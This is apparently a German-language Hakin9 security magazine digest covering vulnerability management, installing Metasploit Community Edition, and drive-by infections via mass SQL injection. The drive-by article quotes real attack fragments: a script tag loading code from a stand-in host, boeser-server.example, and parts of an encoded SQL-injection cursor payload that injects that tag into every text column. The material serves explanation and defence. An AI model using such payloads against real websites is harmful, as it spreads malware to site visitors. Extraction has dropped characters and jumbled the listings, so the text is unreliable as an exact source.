konfigurieren (Whitelisting). Eine Best-Practice ist, den Alarm so zu konfigurieren, dass er nur dann ausgelst wird, wenn mit dem falschen Scanner ausserhalb der normalen IP-Reihe gescannt wird. Dies knnte auf eine unbefugte Verwendung des Scanners durch den Benutzer oder auf Spoofing (Verschleierung) des Scanners whrend eines Angriffs deuten. Switch Ein 2- oder 3-Layer-Switch wird normalerweise on einem Scanner nicht beeinflusst, ausser wenn die Verwaltungsadresse auch gescannt wird. In diesem Fall sollten Sie die gleichen Vorsichtsmassnahmen treffen, die dem Scannen eines Hosts entsprechen. Die Zugangs-/ Einlasskontrollkomponenten des Netzwerks wie 802.1x sollten so konfiguriert werden, dass der Switch-Port, an dem der Scanner angeschlossen ist, nicht inbegriffen ist. Zur fortschrittlichen Implementierung von VulnerabilityScannern knnen NAC-Software und -Hardware (Netzwerkzugangskontrolle) integriert werden.
Verzeichnisdienste Um die Nutzung des Scanners zu maximieren, werden statt eines Agenten Zugangscodes verwendet. Dies ermglicht es dem Scanner Vulnerabilities zu ermitteln, die sonst an der Netzwerkschnittstelle nicht identifizierbar wren. Normalerweise bentigen Scanner ein Servicekonto, das nur einen begrenzten schreibgeschtzten Zugang zu Registrierdatenbanken, Dateien und Verzeichnissen des Zielhosts ermglicht. Da die Passwrter dieser Konten selten gendert werden, sollten sie sehr sicher sein (mehr als 12 Zeichen mit einer Mischung von Gross-, Kleinschreibung und Sonderzeichen). Jede nderung sollte abgesprochen werden, um den Ausfall von Scanner-Services zu verhindern. Falls mehrere Geschftseinheiten Zugang zu ihren eigenen Servicekonten haben, sollten die Passwrter der Servicekonten streng geheim gehalten und sorgfltig verwaltet werden, damit der Verwalter einer Einheit die Zugangscodes anderer Einheiten nicht beeinflussen kann.
Anwendungstipps Das Mantra fr die erfolgreiche Einsetzung von VulnerabilityManagement-Massnahmen lautet: Planen! Planen! Planen! Bitte bercksichtigen Sie die folgenden Punkte, bevor Sie in diesen wichtigen Sicherheitsbereich eintauchen: berlegen Sie, wie der Behebungsprozess mit anderen Gruppen interagieren wird. Alternativ arbeiten Sie mit dem Ansatz einer begrenzten Anwendung mit kleinen Ermittlungsschritten. Dies gibt Ihnen die Mglichkeit, Prozessprobleme zu identifizieren, bevor Sie ein breit angelegter Einsatz vllig berfordert. Stellen Sie sicher, dass das Betriebspersonal gengend Zeit hat, um die Anforderungen vor der Produktauswertung zu erbringen.
www.hakin9.eu
17
Hakin9 Digest
VulnerAbility MAnAgeMent risikobewertung der it-infrAstruktur berPrfte systeMe JA PAtch MAnAgeMent nein oder nur teilweise client und serVer: Meist nur betriebssysteM und stAndArd APPlikAtionen
Address compliance requirements Protect IT infrastructure Mitigate financial data Protect critical data Ensure business continuity 19% 38% 38% 31%
56%
Alles wAs ber eine iP-Adresse erreichbAr ist. Protokolle, betriebssysteMe, APPlikAtionen, netzwerkkoMPonenten (switch, router, firewAll), MultifunktionsPrinter, nAs etc. JA
nein
Patch Management ist nicht Vulnerability Management Vulnerability Management und Patch Management liegen nahe beieinander, drfen aber nicht miteinander verwechselt werden. Das Vulnerability Management ist vom Prozess her dem Patch Management vorgelagert, da es ein proaktives System ist, um Schwachstellen zu erkennen. Bei einem guten Vulnerability Management System werden nicht nur Schwachstellen erkannt, fr welche ein Patch besteht, sondern die Schwachstellen nach Bekanntwerden sofort in die Dantebank aufgenommen werden. Nicht nur Schwachstellen von Applikationen, Betriebssystemen und Protokollen werden erkannt, sondern auch Konfigurationen, welche zu einem Sicherheitsproblem fhren knnen. Beim Patch Management werden berprft, inwiefern es Patches fr Betriebssystem und die installierten Applikationen gibt. Vom Bekanntwerden einer Schwachstelle bis zum Verfgung stehen eines Patches, kann es oft Monate dauern. Whrend dieser Zeit zeigt das Patch Management kein Handlungsbedarf an, obwohl ein Sicherheitsrisiko besteht. Patch Management knpft an das Vulnerability Management an und hilft bei der Verteilung von Patches in der IT-Infrastruktur. Folgende Tabelle zeigt einen Vergleich zwischen Vulnerability und Patch Management VulnerAbility MAnAgeMent schwAchstellen bei bekAnntwerden erkennen sofort (innert wenigen tAgen) PAtch MAnAgeMent erst nAch AusgAbe des PAtches Meist durch den hersteller (bis zu Mehreren wochen oder MonAten) nein
tAb. 1 Vergleich VulnerAbility MAnAgeMent und PAtch MAnAgeMent Vulnerability Management ersetzt nicht Patch Management und umgekehrt. Sie sind ergnzend und verbessern in geeigneter Kombination die Produktivitt und Sicherheit enorm.
Disclosure Exploit Patch verfgbar Patch installiert Zeit Gray Risk White Risk
JA
JA JA
nein nein
18
8/2012
www.first-security.com
ber First Security Technology (FST) Swiss Made Vulnerability Management! FST gegrndet 2001 mit Sitz in Chur ist der fhrende Hersteller von Schwachstellen-Assessment und -Management-Lsungen in der Schweiz. FST entwickelt Sicherheitslsungen als Software-as-a-Service, Virtual-Machinebasierend oder als Appliance und vertreibt diese ber ein Netz von ausgewiesenen Hndlern und Distributoren. FSTs Sicherheitslsungen umfassen vollautomatische Schwachstellenerkennung, IT Infrastruktur-Assessment, Schwachstellenbeseitigung und -berwachung sowie IT Compliance erfllende Reporting-Mechanismen. Weitere Informationen http://www.first-security.com
www.hakin9.eu
19
Hakin9
Das Metasploit Penetration-Testing-Framework erfreut sich bei technischen Sicherheitsanalysen bzw. Penetrationstests immer grerer Beliebtheit. Das liegt nicht zuletzt an dem enormen Entwicklungsschub, den die bernahme des Projektes durch Rapid7 im Jahr 2009 mit sich brachte. In Abbildung 1wird die Entwicklung des Metasploit Quellcodes auf der Ohloh Webseite dargestellt. Wie aus dieser Darstellung hervorgeht wurde die Codebasis seit der bernahme des Projektes durch Rapid7 nahezu verdreifacht.
ie das Metasploit Framework im Rahmen professioneller Penetrationstests genutzt werden kann, wird im Buch Metasploit: Das Handbuch zum Penetration-Testing-Framework im Detail betrachtet. Dieser Artikel stellt primr die kostenlose grafische Version der Metasploit Produktpalette vor.
ploit Pro-Version der Qualittssicherungsprozess von Rapid7 zum Tragen. Dadurch ist das eingesetzte System immer funktionsfhig und nicht durch einen Fehler oder durch eine massive nderung im Quellcode eingeschrnkt oder gar nicht nutzbar. Kommt der typische Installer von der Metasploit-Webseite [2] zum Einsatz, wird neben der reinen Open Source Variante des Frameworks, automatisch auch die kommerzielle Version installiert. Je nach aktivierter Lizenz lsst sich dabei eine der folgenden Versionen einsetzen: Metasploit Pro Metasploit Express Metasploit Community Edition
Rapid7 bietet die Metasploit-Produktreihe in vier unterschiedlichen Versionen an, die fr den jeweiligen Einsatz optimiert bzw. angepasst sind. Aufbauend auf der freien Open Source-Version Metasploit Community gibt es die Versionen Metasploit Express und Metasploit Pro, welche fr den Unternehmenseinsatz gedacht sind. Alle Versionen basieren weiterhin auf der freien Open Source Version des Frameworks, weisen aber unterschiedliche Erweiterungen auf. Abbildung 2 zeigt die mglichen Versionen mit den wichtigsten Features. Bei der Metasploit Community Edition handelt es sich um die frei verfgbare Version der von Rapid7 vertriebenen kommerziellen Metasploit-Varianten. Diese bringt diverse Vorzge aber auch Einschrnkungen gegenber der Open Source Version mit. Beispielsweise vereinfacht die web-basierte grafische Oberflche den berblick ber den Penetrationstest. Zudem kommt durch die wchentlichen Updates im Zyklus der Metas-
Wurde dabei die Metasploit Community Edt. kostenlos aktiviert, so lsst sich auch jederzeit die einwchige Testversion
20
6/2012
von Metasploit Pro aktivieren. Nach Ablauf dieser Lizenz ist es mglich wieder auf die davor aktive Lizenz der Community Edt. zurck zu wechseln. Der Installer richtet bereits alle bentigten Abhngigkeiten ein und sorgt fr einen unproblematischen Start aller bentigten Komponenten. Neben dem Framework an sich wird auch die bentigte PostgreSQL Datenbank, eine getestete Ruby Installation, der Nmap Portscanner und John the Ripper als Passwortknacker vorkonfiguriert. Im Anschluss an die Installation ist die kommerzielle Version im Verzeichnis /<MSF-Install-Path/apps/pro/ zu finden. Die Open Source Version ist zudem unter /<MSF-Install-Path>/msf3 installiert. Auf der Kommandozeile lsst sich die zur Community Edt. zugehrige Metasploit Konsole mit dem Kommando msfpro starten. Listing 1 zeigt weitere Pfadinformationen der Metasploit Konsole.
Listing 1: Metasploit Konsole msfpro
root@bt:~# which msfpro /usr/local/bin/msfpro root@bt:~# ls -l /usr/local/bin/msfpro msfpro -> /opt/metasploit4/msfpro root@bt:~# msfpro initializes...
[*] Creating user m1k3 with password <snip> ... root@bt:~# /etc/init.d/metasploit status metasploit is running prosvc is running nginx is running postgresql already running
Alternativ zum dargestellten Init-Skript lsst sich auch das mitgelieferte und in Listing 3 dargestellte Control-Skript im Metasploit Verzeichnis zur Steuerung der Services einsetzen:
Listing 3: Metasploit Service steuern
root@bt:~# /opt/metasploit4/ctlscript.sh usage: /opt/metasploit4/ctlscript.sh help (start|stop|restart|status) /opt/metasploit4/ctlscript.sh /opt/metasploit4/ctlscript.sh /opt/metasploit4/ctlscript.sh /opt/metasploit4/ctlscript.sh - this screen - stop
[*] Please wait while the Metasploit Pro Console [*] Starting Metasploit Console...
Diese Oberflche entspricht dem Kommando msfconsole, welches in der Open Source Version des Frameworks genutzt wird und bei einem Linuxsystem ebenso im Pfad ($PATH) liegt. Aber warum sollte in der typischen Anwendung von Metasploit berhaupt die kommerzielle Metasploit Konsole msfpro genutzt werden? Die msfpro Konsole ist von Rapid7 getestet und enthlt weniger Fehler. Die freie msfconsole kann dagegen kritische Fehler aufweisen. Falls die allerneuesten Module wichtig sind, dann lsst sich alternativ die weniger stabile msfconsole nutzen. Wenn, wie bei typischen Penetrationtstests, eine stabile Umgebung wichtig ist, dann sollte msfpro zum Einsatz kommen.
(start|stop|restart|status) metasploit help stop start restart status - start the service(s) - restart or start the service(s) the service(s)
Hinweis: Die Aktualisierung mit dem Kommandozeilentool msfupdate betrifft ausschlielich die Open Source Version ohne weiterer Zusatzsoftware. Um die kommerzielle und getestete Version zu aktualisieren muss bislang auf das Webinterface oder die API [4] ausgewichen werden. Bevor sich die Weboberflche erstmalig nutzen lsst, muss ein Benutzer angelegt werden. Zudem sollte sichergestellt sein, dass der Metasploit Service aktiv ist. Der bentigte Benutzer lsst sich wahlweise auf der Konsole oder per Webbrowser einrichten. Dabei ist zu beachten, dass dieser Vorgang ber den Browser aus Sicherheitsgrnden ausschlielich auf dem lokalen System mglich ist. Im Normalfall startet der grafische Installer automatisch einen Browser ber den sich diese Schritte zum Abschluss der Installation durchfhren lassen. Ist allerdings nur SSH Zugriff auf dem System zugelassen, lsst sich der Benutzer, wie in Listing 2 dargestellt wird, ebenso ber die Kommandozeile konfigurieren. Dieser
Wenn der Benutzer fr das Webinterface erfolgreich erstellt wurde und alle Services wie erwartet laufen, lsst sich mit einem Webbrowser per HTTPS ber Port 3790 auf die grafische Oberflche zugreifen. Bevor diese jedoch uneingeschrnkt nutzbar ist, muss die zu verwendende Version des Frameworks online aktiviert werden. Der Registrierungsprozess der Community Edition ist kostenlos und erfordert nur die Eingabe einer gltigen Mailadresse. Zudem lsst sich die vollstndige Version von Metasploit Pro mit allen aktivierten Features eine Woche testen.
Im Anschluss an eine erfolgreiche Aktivierung sollten erst alle verfgbaren Aktualisierungen eingespielt werden. Diese umfassen neben neuen Modulen auch unterschiedliche Fehlerbehebungen. Der ganze Artikel wurde in Hakin9 6/2012 Exploiting Software verffentlicht.
www.hakin9.eu
21
Hakin9
DrIve-byInfektIonen
Drive-by-Infektionen sind seit einiger Zeit die grte Bedrohung im Web: In eigentlich vertrauenswrdige Websites eingeschleuste iframes oder script-Tags enthalten Code, der auf den Rechnern der Besucher Schadsoftware einzuschleusen versucht. Selbst vorsichtige Benutzer knnen so einem Angriff zum Opfer fallen, da sie die prparierten Webseiten whrend des ganz normalen Surfens im Web erreichen.
uch ohne im Web zu surfen kann man Opfer einer Drive-by-Infektion werden: Die Cyberkriminellen locken ihre Opfer ber E-Mails auf prparierte Webseiten, wie es zum Beispiel im Rahmen der "Operation Aurora" genannten, gezielten Angriffe auf Google und andere Unternehmen eindrucksvoll vorgefhrt wurde. Aktuell passiert das gerade in Spam-Kampagnen, die Spam-Mail locken die E-Mail-Empfnger auf kompromittierte WordPress-Installationen [1]
auch weiteren Code nach, so dass ein ausspionierter Rechner anschlieend noch als Teil eines Botnets dienen kann. Fr diese Angriffe haben sich die Begriffe Drive-by-Download und Drive-by-Infektion eingebrgert, wobei ich Drive-by-Infektion fr passender halte. Drive-by-Download klingt zu sehr nach dem absichtlichen Herunterladen von harmlosen Programmen, whrend nebenbei etwas anderes gemacht wird.
Prparierte Websites
In diesem Artikel geht es nur um die klassische Drive-by-Infektion ber dafr nach einer Kompromittierung prparierte harmlose Website. Der Angriff auf die Benutzer erfolgt dabei in drei Schritten: Zuerst wird von den Cyberkriminellen eine normalerweise vertrauenswrdige Website ein script-Tag oder iframe eingeschleust, ber die bsartiger JavaScript-Code in die Seite eingefgt wird. Erreicht ein ahnungsloser Benutzer whrend des normalen Surfens im Web so eine prparierte Seite, versucht der JavaScript-Schadcode, ber Exploits fr verschiedene aktuelle und auch ltere Schwachstellen Schadcode auf seinem Rechner zu installieren. Die Installation des Schadcodes erfolgt ohne Zutun des Benutzers, der im Allgemeinen nicht einmal bemerkt, was da gerade passiert. Ist dieser erste Schadcode, der sog. Downloader, auf dem Rechner installiert, ldt er weiteren Code nach, der verschiedenen Zwecken dienen kann. Vom Aussphen von Zugangsdaten bis zur Integration des Rechners in ein Botnet ist dann alles mglich. Manche Schdlinge laden bei Bedarf
Der Angriff auf den Client soll uns hier nur am Rande beschftigen, in diesem Artikel geht es um die Angriffe auf die Webserver. Und die sind vielfltig: Die Cyberkriminellen nutzen z.B. SQL-Injection- und Cross-Site-Scripting-Schwachstellen aus oder verwenden ausgesphte FTP-Zugangsdaten zum Zugriff auf die Server.
SQL-Injection
Sehr beliebt sind SQL-Injection-Angriffe, die unter anderen mit unschner Regelmigkeit in Form von Massenangriffen von sich reden machen. Diese SQL-Injection-Massenangriffe folgen meist einem einheitlichen Muster: Alle geeigneten Datenbankfelder werden mit iframes oder script-Tags zum Nachladen von Schadcode gefllt, in der Hoffnung, dass mindestens eines der Felder ohne weitere Prfung oder Bearbeitung ausgegeben wird. Beim Angriff werden nur die einem normalen Benutzer gehrenden Tabellen und darin die Felder mit Textwerten etc. manipuliert. Systemtabellen und zum Beispiel rein numerische Felder werden ignoriert. Wird auch nur ein einziger der manipulierten Werte spter unverndert an die Besucher der Website ausgegeben, wird der eingeschleuste Code im Web-
22
7/2012
Drive-by-Infektionen
browser der Benutzer ausgefhrt und der JavaScript-Schadcode zum Ausnutzen verschiedener Schwachstellen nachgeladen.
Was macht der Code? ber einen Tabellen-Cursor in Form der Variablen Table_Cursor werden alle Tabellen und die zugehrigen Spalten ermittelt, deren Typ ntext, text, nvarchar oder varchar ist UND die eine Benutzer- und keine Systemtabelle sind. Das Ergebnis wird dann in einer WHILE-Schleife durchlaufen, die an jedes gefundene Feld den Schadcode anhngt, der im Quelltext an der Stelle von [Schadcode] stehen wrde. Dabei werden die bereits im Feld vorhandenen Daten in den Typ varchar umgewandelt und fhrende Leerzeichen entfernt. Ein Crawler der Cyberkriminellen durchsucht die ausgewhlten Websites und gibt diesen Code fr jeden gefundenen GET-Parameter ein. Wird die Eingabe ungeprft in einer SQL-Abfrage eingefgt, so dass SQL-Injection mglich ist, wird er ausgefhrt und die Website ist fr die Drive-by-Infektion prpariert. Der Vorteil des generischen Angriffs: Die Cyberkriminellen mssen sich nicht darum kmmern, wie die angegriffene Webanwendung aufgebaut ist. Es reicht, wenn sie den generischen Code in jeden erreichbaren Parameter eingeben - entweder er wird ausgefhrt oder nicht. Wird er ausgefhrt, ist er auch erfolgreich. Beim gleich vorgestellten gezielten Angriff mssen die Angreifer vor dem Einschleusen des SQL-Injection-Codes Tabellen- und Feldnamen ermitteln und den Code an die angegriffene Webanwendung anpassen.
Wie viele Websites jeweils ungefhr Opfer einer Angriffswelle geworden sind, verraten die Suchmaschinen: Da der iframe oder script-Tag ohne Rcksicht auf den Kontext in alle passenden Felder eingeschleust wird, sind regelmig auch welche dabei, die an Stellen ausgegeben werden, an denen diese Tags laut HTML-Standard nicht vorgesehen sind und daher auch nicht ausgewertet werden, beispielsweise innerhalb des title-Tags. Sucht man nach dem eingeschleusten Code, beispielsweise
<script src=http://www.boeser-server.example/pfad/ zum/skript.js></script>
werden die Seiten mit dem entsprechenden iframe oder scriptTag ausgegeben. Diese Methode hat allerdings einen Nachteil: Je mehr Berichte es ber den Angriff gibt, desto fter wird auch diese Erkennungsmethode beschrieben, und um so mehr "falsche" Fundstellen liefern die Suchmaschinen. Wre das Beispiel ein echter Angriff und dieser Text im Web verfgbar, wrde er ebenfalls zu den Suchergebnissen gehren, obwohl es den entsprechenden Code hier gar nicht gibt.
generische SQL-Injection
Werfen wir mal einen Blick auf so einen SQL-Injection-Angriff. Der im folgende behandelte Code wurde schon schon 2008 im Rahmen von SQL-Injection-Angriffen auf ASP- und ASPX-Anwendungen eingesetzt und beispielsweise von F-Secure verffentlicht [2]. Ich verwende diesen "alten" Code aus einem einfachen Grund: Er ist nach wie vor aktuell, auch 2012 erfolgen noch Angriffe nach diesem Muster und teilweise sogar mit diesem Code, lediglich die "Nutzlast" in Form des einzuschleusenden Schadcodes ndert sich. In den Logfiles erscheint der SQL-Injection-Code als
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST 00076006100720063006800610072...
Whrend bei den meisten SQL-Injection-Angriffen GET-Parameter verwendet werden, wurde nahezu identischer SQL-Injection-Code beispielsweise im Dezember 2008 als Cookie-Parameter bertragen [4]:
Cookie: ref=ef";DECLARE @S VARCHAR(4000);SET @S=CAST(0x44454 34C4152452040542...
(0x4400450043004C004100520045002000400054002
Im Internet Storm Center (ISC) Diary wurde ein solcher Angriff analysiert. Der dekodierte SQL-Code sieht folgendermaen aus [3]:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name
Ebenso knnen natrlich auch POST-Parameter manipuliert werden. Wie ein Parameter bertragen wird, ist letztlich egal ber jeden kann ein Angriff(sversuch) erfolgen. Der eingeschleuste Schadcode Der als [Schadcode] eingeschleuste Schadcode besteht meist aus einem script-Tag zum Nachladen des eigentlichen JavaScript-Codes zur Installation der Schadsoftware auf dem Client:
<script src=http://www.boeser-server.example/pfad/zum/ skript.js></script>
set ['+@C+']=rtrim(convert(varchar'['+@C+']))+ FETCH NEXT FROM Table_Cursor INTO @T'@C ''[Schadcode]'' ')
Im Mrz 2011 machte ein nach der zum Nachladen des JavaScript-Codes "LizaMoon" genannter Massenangriff von sich reden, der es ber Umwege bis in Webseiten von Apple geschafft hat [5]. Fr den Angriff wurde laut den Websense Security Labs, die den Angriff zuerst beobachtet haben, unter anderem der folgende SQL-Injection-Code verwendet [6]: Na kocu: Der ganze Artikel wurde in Hakin9 7/2012 Server- und Netzwerksicherheit verffentlicht.
23
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
www.hakin9.eu
Info-Point-Security wurde im Jahr 2005 auf Grund der steigenden Nachfrage nach permanenter Verfgbarkeit von hoch qualifizierten, aktualisierten und strukturierten Informationen zu Lsungen im IT-Security Businessbereich gegrndet. Genau an diesem Punkt setzt Info-Point Security an.
secure one bietet dem Interessierten einen schnellen berblick zu aktuellen IT-Bedrohungen, bewhrten Softwarelsungen und innovativen Neuerungen auf dem Markt. Ganz gleich ob OpenSource, Freeware oder kommerzielle Software.
SE
CURIT
TE
D: SAFE
D: SAFE
TE
SE
CURIT